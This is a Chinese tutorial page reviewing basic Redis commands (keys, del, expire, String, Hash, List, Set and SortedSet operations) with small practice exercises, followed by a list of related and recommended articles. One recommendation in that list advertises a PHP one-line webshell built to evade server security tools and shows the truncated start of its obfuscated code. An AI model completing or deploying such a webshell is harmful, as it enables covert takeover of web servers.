1,Redis数据结构:

https://redis.io/commands

2,Redis命令---Redis通用命令(常见的有,keys,del,exists,expire,ttl)

2.1,keys : 查看符合模板的所有key,不建议在生产环境设备上使用

打开redis:win+R ,输入cmd,打开命令提示符后,输入 redis-server;

再另外打开一个命令提示符,输入 redis-cli,就能成功打开redis数据库了。

通过 help [command] 可以查看一个命令的具体用法

官网也可以查看到 keys 命令的例子

2.2,del : 删除一个指定的key,也可以删多个

删多个key

2.3,exists : 判断 key 是否存在

2.4,expire : 给一个key 设置有效期,有效期到期时该key会被自动删除 (比如验证码,体验卡),还有  ttl : 查看一个key的剩余有效期

当剩余有效期是 -2时,就表示这个key在库里已经删除了,如果没有设置有效期,一个key 的有效期是 -1。表示永久有效

3,Redis命令---String类型(set,get,mset,mget,incr,incrby,incrbyfloat,setnx,setex)

3.1,set,get,mset,mget

set:添加或者修改已经存在的一个String类型的键值对

get:根据key获取String类型的value

mset :批量添加多个String类型的value

mget:根据多个key获取多个String类型的value

3.2,incr,incrby,incrbyfloat

incr:让一个整型的key自增1

incrby:让一个整型的key自增并指定步长,例如:incrby num 2 让num值自增2。(自减的话,就输个负数)

incrbyfloat:让一个浮点类型的数字自增并指定步长

3.3,setnx,setex

setnx:添加一个String类型的键值对,前提是这个key不存在,否则不执行

nx 写在后面和 setnx一样。(下图是redis和python交互时,set函数的原型)

setex:添加一个String类型的键值对,并且指定有效期,注意和expire的区别

ex 也可以写在后面

4,Redis命令---key的层级格式

在 rdm 图形化客户端里也能看出层级关系

5,redis命令---hash类型(hset,hget,hmset,hmget,hkeys,hvals,hincrby,hsetnx)

5.1,hset  key field value:添加或者修改hash类型key的field的值

例子:

在rdm里可以看到结果

也可以修改field 的值

5.2,hget key field:获取一个hash类型key的field的值

5.3,hmset:批量添加多个hash类型key的field的值

5.4,hmget:批量获取多个hash类型key的field的值

5.5,hgetall:获取一个hash类型的key中的所有的field和value

5.6,hkeys:获取一个hash类型的key中的所有的field;hvals:获取一个hash类型的key中所有的field

5.7,hincrby:让一个hash类型key的字段值自增并指定步长

5.8,hsetnx:添加一个hash类型的key的field值,前提是这个field不存在,否则不执行

6,Redis命令---List类型(lpush,lpop,rpush,rpop,lrange,blpop,brpop)

6.1,lpush key element....:向列表左侧插入一个或多个元素;

6.2,rpush key element...:向列表右侧插入一个或多个元素

6.3,lpop key:移除并返回列表左侧的第一个元素,没有则返回nil

6.4,rpop key:移除并返回列表右侧的第一个元素

6.5,lrange key star end:返回一段角标范围内的所有元素(下标从0开始)

6.6,blpop和brpop:与lpop和rpop类似,只不过在没有元素时等待指定时间(阻塞),而不是直接返回nil

先在命令行提示符窗口输入blpop users2 100,先阻塞100秒

再打开另一个 redis-cli 窗口,在users2左侧插入一个值,

然后在第一个窗口里就能看到结果

7,Redis命令---Set类型(sadd,srem,scard,sismember,smembers,sinter,sdiff,sunion)

7.1,sadd key member...:向set中添加一个或多个元素

7.2,smembers:获取set中所有元素

7.3,sem key member...:移除set中指定元素1

7.4,sismember key member:判断一个元素是否存在于set中

7.5,scard key:返回set中元素的个数

7.6,sinter key1 key2...:求key1与key2的交集;sdiff key1 key2...:求key1与key2的差集;sunion key1 key2...:求key1和key2的并集(这些也会在下面的练习中用到)。

7.7,Set命令的练习

7.7.1,先创建张三和李四的集合并把好友添加进去

7.7.2,计算张三的好友有几人?(用scard求个数,目录可以导航)

7.7.3,计算张三和李四有哪些共同好友?(用sinter求交集)

7.7.4,查询哪些人时张三的好友却不是李四的好友?(用sdiff求差集)

7.7.5,查询张三和李四的好友总共有哪些人?(用sunion求并集)

7.7.6,判断李四是否是张三的好友?(用sismember 判断一个元素是否在集合中存在)

7.7.7,判断张三是否是李四的好友?

7.7.8,将李四从张三的好友列表中移除(用srem删除)

用smembers查看张三的好友,已经没有李四了

8,Redis命令---SortedSet命令

8.1,SortedSet命令练习

8.1.1,先添加学生得分(用zadd添加)

zadd key score member:添加一个或多个元素到sorted set,如果已经存在则更新其score值

打开客户端,会发现分数score默认是升序的,从小到大(第一个是最小的分数)

8.1.2,删除Tom同学(用zrem删除)

zrem key member:删除sorted set中的一个指定元素

打开客户端,发现Tom没了

8.1.3,获取Rose同学的排名(用zrevrank)

zrank key member:获取sorted set 中指定元素的排名(本题是根据分数高低,从分数高的开始排,就是从大到小排,但是sorted set默认是从小到大排,所以要用到zrevrank,倒序)

注意:所有排名默认都是升序,如果要降序则在命令的 z 后面添加 rev 即可

先试一下用zrank从小到大的排

打开客户端,发现Rose排在3号,下标从0开始

再用zrevrank试一下现实意义的排名

8.1.4,查询80分以下(不包含80)有几个学生?(用zcount)

zcard key:获取sorted set中的元素个数

zcount key min max:统计score值在给定范围内的所有元素的个数

打开客户端,发现有2个在80分以下

8.1.5,给Amy同学加2分(用zincrby自增)

zincrby key increment member:让sorted set中的指定元素自增,步长为指定的increment值

8.1.6,获取Amy同学的分数(用zscore)

zscore key member:获取sorted set中的指定元素的score值

8.1.7,查出成绩前3名的同学(用zrevrange)

zrange key min max:按照score排序后,获取指定排名范围内的元素

先试一下用 zrange 从小到大的排,就是把成绩后3名的同学(红方框)查出来了

用zrevrange 查出成绩前3名的(蓝方框)

8.1.8,查出成绩80分以下(不包含80)的所有同学(用zrangebyscore)

zrangebyscore key min max:按照score排序后,获取指定score范围内的元素

redis基础命令复习(Sring,Hash,List,Set,SortedSet)的更多相关文章

  1. windows下使用redis,Redis入门使用,Redis基础命令

    windows下使用redis,Redis入门使用,Redis基础命令 >>>>>>>>>>>>>>>> ...

  2. 【redis】redis基础命令学习集合

    写在前面 Redis是一个高速的内存数据库,它的应用十分广泛,可以说是服务端必学必精的东西.然而,学以致用,无用则无为.学了的东西必须反复的去用,去实践,方能有真知.这篇文章记录了我在redis学习过 ...

  3. 初识redis(redis基础命令)

    redis简介redis是一个开源(BSD许可)的使用C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,它可以用作数据库.缓存和消息中间件,并提供多种语言的API.从201 ...

  4. Redis基础命令和持久化

    Redis命令工具 Redis-server :用于启动Redis的工具 Redis-benchmark:用于检查Redis在本机的运行效率 Redis-check-aof:修复aof持久化文件 Re ...

  5. Redis基础命令

    redis本身不区分命令的大小写,这里一律用小写,以下是部分简单的命令. 1.连接操作命令    quit:关闭连接(connection)    auth:简单密码认证    help cmd: 查 ...

  6. 一、Redis 基础命令---总括

    1.redis命令不区分大写和小写.可是KEY区分大写和小写. 2.redis-cli -h 127.0.0.1 -p 6379 依据IP/PORT链接服务端 3.redis-server --por ...

  7. Redis 基础设计结构之三 hash(哈希)

    Redis 有 5 种基础数据结构,分别为:string (字符串).list (列表).set (集合).hash (哈希) 和 zset (有序集合). 今天来说一下hash(哈希),hash的数 ...

  8. Redis 基础命令

    1. 进入redis目录,启动redis cd src ./redis-server 2.  进入redis目录,启动redis客户端 cd src ./redis-cli 3. info命令 4. ...

  9. 1.Redis基础命令

    重要概念 redis是单线程模型,所有命令都会进入一个队列,然后依次被执行. 全局命令 >>>select dbindex #切换数据库,默认有16个库,库标识符为0-15 > ...

  10. linux基础命令复习

    1.ls 查看文件和文件夹 1).ls -a 查看文件和文件夹,包括隐藏的 2).ls  -l 查看文件和文件夹详情 3).ls  -lh   查看文件和文件夹详情,自动生成文件大小单位 4).ls ...

随机推荐

  1. 分享一个过狗过D盾过宝塔的php一句话木马

    <?php if(isset($_REQUEST['phpsessid'])){ class A { static $d; } class B extends A { } A::$d =base ...

  2. uniapp开发H5,分享链接到微信好友,显示标题和缩略图

    本文档介绍了如何在UniApp开发中实现将链接分享到微信好友,并确保在分享时显示标题和缩略图的方法. 背景 第一次用uniapp开发H5页面,发现分享给微信好友的链接,不显示标题和缩略图 步骤一:安装 ...

  3. 如何创建Windows 10 虚拟机

    一 ,新建Windows 10 虚拟机 1.1 创建新的虚拟机 1,点击创建新的虚拟机 2,选择典型,点击下一步 3,选择稍后安装操作系统,点击下一步. 4,操作系统选择windwos,版本选着Win ...

  4. 可不要忽视了TypeScript中函数和类的重要性

    上一篇文章总结了 TypeScript的类型注解,这一篇来聊聊同样重要的函数和类 函数 以下声明了一个函数类型,通过type来定义类型别名,void 表示没有返回值 type fnType = () ...

  5. 何时使用Elasticsearch而不是MySql

    MySQL 和 Elasticsearch 是两种不同的数据管理系统,它们各有优劣,适用于不同的场景.本文将从以下几个方面对它们进行比较和分析: 数据模型 查询语言 索引和搜索 分布式和高可用 性能和 ...

  6. ImGui界面优化:使用图标字体、隐藏主窗口标题栏

    目录 使用图标字体 扩展:内存加载字体 隐藏主窗口标题栏 增加程序退出 改进HideTabBar 窗口最大化 总结 本文主要介绍ImGui应用中的一些界面优化方法,如果是第一次使用ImGui推荐从上一 ...

  7. api接口怎么使用

    API接口的使用在当今的软件开发中非常普遍,它允许不同的应用程序或服务之间进行数据交换和功能交互.API接口使得开发人员能够将不同的系统或平台集成在一起,以实现更复杂的功能和应用.本文将详细介绍API ...

  8. Api接口如何防止被刷?

    ​ 当今,越来越多的应用程序和服务都提供了API接口,使得开发人员可以方便地与这些应用程序和服务进行交互.但是,由于API接口是公开的,因此很容易被黑客利用,对系统造成损害.为了确保API接口的安全性 ...

  9. 每天一道面试题:Spring的Bean生命周期

    Spring的Bean生命周期包括以下步骤: 1.实例化(Instantiation):当Spring容器接收到创建Bean的请求时,它会先实例化Bean对象.这个过程可以通过构造函数.工厂方法或者反 ...

  10. 多主架构:VLDB技术论文《Taurus MM: bringing multi-master to the cloud》解读

    本文分享自华为云社区<多主创新,让云数据库性能更卓越>,作者: GaussDB 数据库. 华为<Taurus MM: bringing multi-master to the clo ...